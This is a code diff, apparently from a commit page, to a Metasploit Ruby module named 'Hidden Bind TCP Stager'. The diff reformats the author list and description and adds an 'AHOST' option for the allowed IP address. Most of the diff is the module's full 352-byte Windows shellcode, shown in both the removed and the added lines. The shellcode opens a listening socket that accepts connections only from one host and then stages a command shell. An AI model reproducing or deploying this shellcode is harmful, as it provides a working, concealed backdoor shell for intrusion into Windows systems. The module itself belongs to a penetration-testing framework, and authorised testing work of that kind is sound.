@@ -13,20 +13,21 @@ module Metasploit3
13
13
include Msf ::Payload ::Stager
14
14
include Msf ::Payload ::Windows
15
15
16
+
16
17
def self . handler_type_alias
17
18
"bind_hidden_tcp"
18
19
end
19
20
20
21
def initialize ( info = { } )
21
22
super ( merge_info ( info ,
22
23
'Name' => 'Hidden Bind TCP Stager' ,
23
- 'Description' => 'Listen for a connection from a hidden port and spawn a command shell to the allowed host. ' ,
24
+ 'Description' => 'Listen for a connection from a hidden port and spawn a command shell to the allowed host' ,
24
25
'Author' =>
25
26
[
26
- 'hdm' , # original payload module (stager bind_tcp)
27
- 'skape' , # original payload module (stager bind_tcp)
28
- 'sf' , # original payload module (stager bind_tcp)
29
- 'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
27
+ 'hdm' , # original payload module (stager bind_tcp)
28
+ 'skape' , # original payload module (stager bind_tcp)
29
+ 'sf' , # original payload module (stager bind_tcp)
30
+ 'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
30
31
] ,
31
32
'License' => MSF_LICENSE ,
32
33
'References' => [ 'URL' , 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html' ] ,
@@ -44,30 +45,34 @@ def initialize(info = {})
44
45
} ,
45
46
'Payload' =>
46
47
# Length: 352 bytes
47
- "\xfc \xe8 \x89 \x00 \x00 \x00 \x60 \x89 \xe5 \x31 \xd2 \x64 \x8b \x52 \x30 \x8b " +
48
- "\x52 \x0c \x8b \x52 \x14 \x8b \x72 \x28 \x0f \xb7 \x4a \x26 \x31 \xff \x31 \xc0 " +
49
- "\xac \x3c \x61 \x7c \x02 \x2c \x20 \xc1 \xcf \x0d \x01 \xc7 \xe2 \xf0 \x52 \x57 " +
50
- "\x8b \x52 \x10 \x8b \x42 \x3c \x01 \xd0 \x8b \x40 \x78 \x85 \xc0 \x74 \x4a \x01 " +
51
- "\xd0 \x50 \x8b \x48 \x18 \x8b \x58 \x20 \x01 \xd3 \xe3 \x3c \x49 \x8b \x34 \x8b " +
52
- "\x01 \xd6 \x31 \xff \x31 \xc0 \xac \xc1 \xcf \x0d \x01 \xc7 \x38 \xe0 \x75 \xf4 " +
53
- "\x03 \x7d \xf8 \x3b \x7d \x24 \x75 \xe2 \x58 \x8b \x58 \x24 \x01 \xd3 \x66 \x8b " +
54
- "\x0c \x4b \x8b \x58 \x1c \x01 \xd3 \x8b \x04 \x8b \x01 \xd0 \x89 \x44 \x24 \x24 " +
55
- "\x5b \x5b \x61 \x59 \x5a \x51 \xff \xe0 \x58 \x5f \x5a \x8b \x12 \xeb \x86 \x5d " +
56
- "\x68 \x33 \x32 \x00 \x00 \x68 \x77 \x73 \x32 \x5f \x54 \x68 \x4c \x77 \x26 \x07 " +
57
- "\xff \xd5 \xb8 \x90 \x01 \x00 \x00 \x29 \xc4 \x54 \x50 \x68 \x29 \x80 \x6b \x00 " +
58
- "\xff \xd5 \x50 \x50 \x50 \x50 \x40 \x50 \x40 \x50 \x68 \xea \x0f \xdf \xe0 \xff " +
59
- "\xd5 \x97 \x31 \xdb \x53 \x68 \x02 \x00 \x11 \x5c \x89 \xe6 \x6a \x10 \x56 \x57 " +
60
- "\x68 \xc2 \xdb \x37 \x67 \xff \xd5 \x6a \x01 \x54 \x68 \x02 \x30 \x00 \x00 \x68 " +
61
- "\xff \xff \x00 \x00 \x57 \x68 \xf1 \xa2 \x77 \x29 \xff \xd5 \x53 \x57 \x68 \xb7 " +
62
- "\xe9 \x38 \xff \xff \xd5 \x53 \xe8 \x17 \x00 \x00 \x00 \x8b \x44 \x24 \x04 \x8b " +
63
- "\x40 \x04 \x8b \x40 \x04 \x2d \xc0 \xa8 \x01 \x21 \x74 \x03 \x31 \xc0 \x40 \xc2 " +
64
- "\x20 \x00 \x53 \x53 \x57 \x68 \x94 \xac \xbe \x33 \xff \xd5 \x40 \x74 \xd6 \x48 " +
65
- "\x57 \x97 \x68 \x75 \x6e \x4d \x61 \xff \xd5 \x6a \x00 \x6a \x04 \x56 \x57 \x68 " +
66
- "\x02 \xd9 \xc8 \x5f \xff \xd5 \x8b \x36 \x6a \x40 \x68 \x00 \x10 \x00 \x00 \x56 " +
67
- "\x6a \x00 \x68 \x58 \xa4 \x53 \xe5 \xff \xd5 \x93 \x53 \x6a \x00 \x56 \x53 \x57 " +
68
- "\x68 \x02 \xd9 \xc8 \x5f \xff \xd5 \x01 \xc3 \x29 \xc6 \x85 \xf6 \x75 \xec \xc3 "
48
+ "\xfc \xe8 \x89 \x00 \x00 \x00 \x60 \x89 \xe5 \x31 \xd2 \x64 \x8b \x52 \x30 \x8b " +
49
+ "\x52 \x0c \x8b \x52 \x14 \x8b \x72 \x28 \x0f \xb7 \x4a \x26 \x31 \xff \x31 \xc0 " +
50
+ "\xac \x3c \x61 \x7c \x02 \x2c \x20 \xc1 \xcf \x0d \x01 \xc7 \xe2 \xf0 \x52 \x57 " +
51
+ "\x8b \x52 \x10 \x8b \x42 \x3c \x01 \xd0 \x8b \x40 \x78 \x85 \xc0 \x74 \x4a \x01 " +
52
+ "\xd0 \x50 \x8b \x48 \x18 \x8b \x58 \x20 \x01 \xd3 \xe3 \x3c \x49 \x8b \x34 \x8b " +
53
+ "\x01 \xd6 \x31 \xff \x31 \xc0 \xac \xc1 \xcf \x0d \x01 \xc7 \x38 \xe0 \x75 \xf4 " +
54
+ "\x03 \x7d \xf8 \x3b \x7d \x24 \x75 \xe2 \x58 \x8b \x58 \x24 \x01 \xd3 \x66 \x8b " +
55
+ "\x0c \x4b \x8b \x58 \x1c \x01 \xd3 \x8b \x04 \x8b \x01 \xd0 \x89 \x44 \x24 \x24 " +
56
+ "\x5b \x5b \x61 \x59 \x5a \x51 \xff \xe0 \x58 \x5f \x5a \x8b \x12 \xeb \x86 \x5d " +
57
+ "\x68 \x33 \x32 \x00 \x00 \x68 \x77 \x73 \x32 \x5f \x54 \x68 \x4c \x77 \x26 \x07 " +
58
+ "\xff \xd5 \xb8 \x90 \x01 \x00 \x00 \x29 \xc4 \x54 \x50 \x68 \x29 \x80 \x6b \x00 " +
59
+ "\xff \xd5 \x50 \x50 \x50 \x50 \x40 \x50 \x40 \x50 \x68 \xea \x0f \xdf \xe0 \xff " +
60
+ "\xd5 \x97 \x31 \xdb \x53 \x68 \x02 \x00 \x11 \x5c \x89 \xe6 \x6a \x10 \x56 \x57 " +
61
+ "\x68 \xc2 \xdb \x37 \x67 \xff \xd5 \x6a \x01 \x54 \x68 \x02 \x30 \x00 \x00 \x68 " +
62
+ "\xff \xff \x00 \x00 \x57 \x68 \xf1 \xa2 \x77 \x29 \xff \xd5 \x53 \x57 \x68 \xb7 " +
63
+ "\xe9 \x38 \xff \xff \xd5 \x53 \xe8 \x17 \x00 \x00 \x00 \x8b \x44 \x24 \x04 \x8b " +
64
+ "\x40 \x04 \x8b \x40 \x04 \x2d \xc0 \xa8 \x01 \x21 \x74 \x03 \x31 \xc0 \x40 \xc2 " +
65
+ "\x20 \x00 \x53 \x53 \x57 \x68 \x94 \xac \xbe \x33 \xff \xd5 \x40 \x74 \xd6 \x48 " +
66
+ "\x57 \x97 \x68 \x75 \x6e \x4d \x61 \xff \xd5 \x6a \x00 \x6a \x04 \x56 \x57 \x68 " +
67
+ "\x02 \xd9 \xc8 \x5f \xff \xd5 \x8b \x36 \x6a \x40 \x68 \x00 \x10 \x00 \x00 \x56 " +
68
+ "\x6a \x00 \x68 \x58 \xa4 \x53 \xe5 \xff \xd5 \x93 \x53 \x6a \x00 \x56 \x53 \x57 " +
69
+ "\x68 \x02 \xd9 \xc8 \x5f \xff \xd5 \x01 \xc3 \x29 \xc6 \x85 \xf6 \x75 \xec \xc3 "
69
70
}
70
71
) )
72
+
73
+ register_options ( [
74
+ OptAddress . new ( 'AHOST' , [ true , "IP address allowed" , nil ] )
75
+ ] )
71
76
end
72
77
73
78
end
0 commit comments